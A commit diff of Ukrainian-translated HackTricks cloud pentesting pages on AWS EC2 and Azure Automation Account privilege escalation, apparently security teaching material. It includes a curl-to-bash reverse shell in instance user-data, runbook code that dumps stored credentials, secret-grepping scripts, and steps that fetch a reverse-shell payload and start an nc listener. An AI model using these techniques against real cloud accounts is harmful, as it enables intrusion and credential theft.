Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:04:17 +00:00
parent 51a287db34
commit 0387700ca4
7 changed files with 510 additions and 273 deletions

View File

@@ -406,8 +406,7 @@
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

View File

@@ -4,7 +4,7 @@
## EC2
Для отримання більшої **інформації про EC2** перевірте:
Для отримання додаткової **інформації про EC2** перевірте:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
#### Підвищення привілеїв до ECS
З цим набором дозволів ви також могли б **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **викрасти їх ролі ECS**.
З цим набором дозволів ви також можете **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,33 +82,31 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:**
- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`) \*
- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (необхідно, щоб ви зламали AWS EC2 інстанцію та мали додаткові дозволи або специфічний статус профілю інстанції).
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що асоційований з нею.
З цими дозволами можливо змінити профіль інстансу, асоційований з інстансом, тому якщо атака вже мала доступ до інстансу, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстансу, змінивши той, що з ним асоційований.
- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його \*
- Якщо **є профіль інстансу**, ви можете **видалити** профіль інстансу (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу).
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс та мати додаткові дозволи або специфічний статус профілю інстансу).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **реверс-шеллом** у **даних користувача**.\
Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **rev shell** в **даних користувача**.\
Після запуску інстансу він може **викрасти IAM роль**.
```bash
REV=$(printf '#!/bin/bash
@@ -123,7 +121,7 @@ aws ec2 request-spot-instances \
Зловмисник з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**.
Зверніть увагу, що атрибути можна **змінювати лише коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**.
Зверніть увагу, що атрибути можна **змінювати лише тоді, коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштований** на використання **останній** або **версії за замовчуванням**, буде **знову запускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку.
Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштована** на використання **останній** або **версії за замовчуванням**, буде **перезапускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -213,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених інстансів.
**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації.
Цей спосіб не є особливо корисним для privesc, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати.
**Потенційний вплив:** (Високо неперевірений) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів.
**Потенційний вплив:** (Дуже непереконливо) Прямий privesc до EC2 IAM ролей, прикріплених до запущених екземплярів.
### `describe-launch-templates`,`describe-launch-template-versions`
Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску:
Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Щоб досягти цього, наступний скрипт проходить через усі версії доступних шаблонів запуску:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -250,13 +248,13 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
У наведених командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS.
**Потенційний вплив:** Пряме підвищення привілеїв до IAM користувача(ів).
## Посилання
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Для отримання додаткової інформації перегляньте:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
У підсумку, ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в Обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті Облікового запису автоматизації та ескалації привілеїв до призначених **Управляємих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в Обліковому записі автоматизації.
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в Обліковому записі автоматизації, використовуючи:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в Обліковому записі автоматизації.
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться **дозволи `Microsoft.Resources/subscriptions/resourcegroups/read` та `Microsoft.Automation/automationAccounts/runbooks/write`** для цього, використовуючи:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ця дозволяє користувачу **призначити керовану ідентичність користувача** для Облікового запису автоматизації за допомогою:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Тоді, з дозволом **`Microsoft.Automation/automationAccounts/jobSchedules/write`** можливо призначити планувальник для runbook за допомогою:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> У попередньому прикладі ідентифікатор jobchedule був залишений як **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` як приклад** але вам потрібно буде використовувати довільне значення для створення цього призначення.
### `Microsoft.Automation/automationAccounts/webhooks/write`
З дозволом **`Microsoft.Automation/automationAccounts/webhooks/write`** можливо створити новий Webhook для Runbook всередині Automation Account, використовуючи наступну команду.
Зверніть увагу, що вам потрібно буде **вказати URI вебхука** з токеном для використання.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Просто з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та запустити його за допомогою наступних команд.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Ця дозволяє користувачу **налаштувати контроль версій** для облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску **можливо підвищити привілеї**.
Більше того, пам'ятайте, що для роботи з контролем версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це керована користувачем ідентичність, це також можна налаштувати, встановивши в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **ідентифікатор клієнта** керованої користувачем ідентичності для використання.
> [!TIP]
> Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення.
### Користувацькі середовища виконання
Якщо обліковий запис автоматизації використовує користувацьке середовище виконання, може бути можливим перезаписати користувацький пакет середовища з деяким шкідливим кодом (наприклад, **задня двері**). Таким чином, щоразу, коли виконується runbook, що використовує це користувацьке середовище, і завантажується користувацький пакет, шкідливий код буде виконано.
### Компрометація конфігурації стану
**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Крок 1 — Створення файлів
**Необхідні файли:** Потрібні два скрипти PowerShell:
1. `reverse_shell_config.ps1`: Файл конфігурації бажаного стану (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload.
- Крок 2 — Стиснення файлу конфігурації
`reverse_shell_config.ps1` стискається в файл `.zip`, що робить його готовим для передачі до Облікового запису Azure Storage.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Крок 3 — Встановлення контексту зберігання та завантаження
Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер Azure Storage, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent від Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Крок 4 — Підготовка Kali Box
Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Скрипт редагується для вказівки цільової Windows VM та порту для зворотного шеллу.
- Крок 5 — Опублікувати файл конфігурації
Файл конфігурації виконується, в результаті чого скрипт зворотного шеллу розгортається у вказаному місці на Windows VM.
- Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача
Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Основна інформація
[З документації:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation надає хмарну автоматизацію, оновлення операційної системи та службу конфігурації, яка підтримує послідовне управління у ваших Azure та не-Azure середовищах. Вона включає автоматизацію процесів, управління конфігурацією, управління оновленнями, спільні можливості та гетерогенні функції.
Це схоже на "**планові завдання**" в Azure, які дозволяють вам виконувати дії (дії або навіть скрипти) для **управління**, перевірки та налаштування **середовища Azure**.
### Обліковий запис Run As
Коли використовується **Run as Account**, він створює Azure AD **додаток** з самопідписаним сертифікатом, створює **сервісний принципал** і призначає роль **Contributor** для облікового запису в **поточній підписці** (багато привілеїв).\
Microsoft рекомендує використовувати **Managed Identity** для Automation Account.
> [!WARNING]
> Це буде **видалено 30 вересня 2023 року і змінено на Managed Identities.**
## Runbooks & Jobs
**Runbooks** дозволяють вам **виконувати довільний код PowerShell**. Це може бути **зловжито зловмисником** для викрадення дозволів **прикріпленого принципала** (якщо такий є).\
У **коді** **Runbooks** ви також можете знайти **чутливу інформацію** (таку як облікові дані).
Якщо ви можете **читати** **завдання**, зробіть це, оскільки вони **містять** **вихідні дані** виконання (потенційно **чутливу інформацію**).
Перейдіть до `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Гібридний працівник
Runbook може бути виконаний у **контейнері всередині Azure** або в **Hybrid Worker** (не-Azure машина).\
**Log Analytics Agent** розгортається на ВМ, щоб зареєструвати його як гібридного працівника.\
Завдання гібридного працівника виконуються як **SYSTEM** на Windows і **nxautomation** обліковий запис на Linux.\
Кожен гібридний працівник зареєстрований у **Hybrid Worker Group**.
Отже, якщо ви можете вибрати виконання **Runbook** у **Windows Hybrid Worker**, ви будете виконувати **довільні команди** всередині зовнішньої машини як **System** (гарна техніка повороту).
## Стан компрометації конфігурації (SC)
[З документації:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** є службою управління конфігурацією Azure, яка дозволяє вам писати, управляти та компілювати PowerShell Desired State Configuration (DSC) [конфігурації](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) для вузлів у будь-якому хмарному або локальному дата-центрі. Служба також імпортує [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) і призначає конфігурації цільовим вузлам, все в хмарі. Ви можете отримати доступ до Azure Automation State Configuration в порталі Azure, вибравши **State configuration (DSC)** під **Configuration Management**.
**Чутлива інформація** може бути знайдена в цих конфігураціях.
### RCE
Можливо зловживати SC для виконання довільних скриптів на керованих машинах.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Перерахування
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Створити Runbook
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Екстракція облікових даних та змінних, визначених у обліковому записі автоматизації, за допомогою Run Book
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Ви можете зробити те ж саме, модифікувавши існуючий Run Book, і з веб-консолі.
### Кроки для налаштування автоматизованого створення користувача з високими привілеями
#### 1. Ініціалізація облікового запису автоматизації
- **Дія, що вимагається:** Створіть новий обліковий запис автоматизації.
- **Специфічне налаштування:** Переконайтеся, що "Створити обліковий запис Azure Run As" увімкнено.
#### 2. Імпорт і налаштування Runbook
- **Джерело:** Завантажте зразок runbook з [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Дії, що вимагаються:**
- Імпортуйте runbook в обліковий запис автоматизації.
- Опублікуйте runbook, щоб зробити його виконуваним.
- Прикріпіть веб-хук до runbook, щоб увімкнути зовнішні тригери.
#### 3. Налаштування модуля AzureAD
- **Дія, що вимагається:** Додайте модуль AzureAD до облікового запису автоматизації.
- **Додатковий крок:** Переконайтеся, що всі модулі автоматизації Azure оновлені до останніх версій.
#### 4. Призначення дозволів
- **Ролі для призначення:**
- Адміністратор користувачів
- Власник підписки
- **Ціль:** Призначте ці ролі обліковому запису автоматизації для необхідних привілеїв.
#### 5. Усвідомлення потенційної втрати доступу
- **Примітка:** Будьте обережні, що налаштування такої автоматизації може призвести до втрати контролю над підпискою.
#### 6. Запуск створення користувача
- Запустіть веб-хук для створення нового користувача, надіславши POST запит.
- Використовуйте наданий скрипт PowerShell, переконавшись, що ви замінили `$uri` на вашу фактичну URL-адресу веб-хука та оновили `$AccountInfo` з бажаним ім'ям користувача та паролем.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Посилання
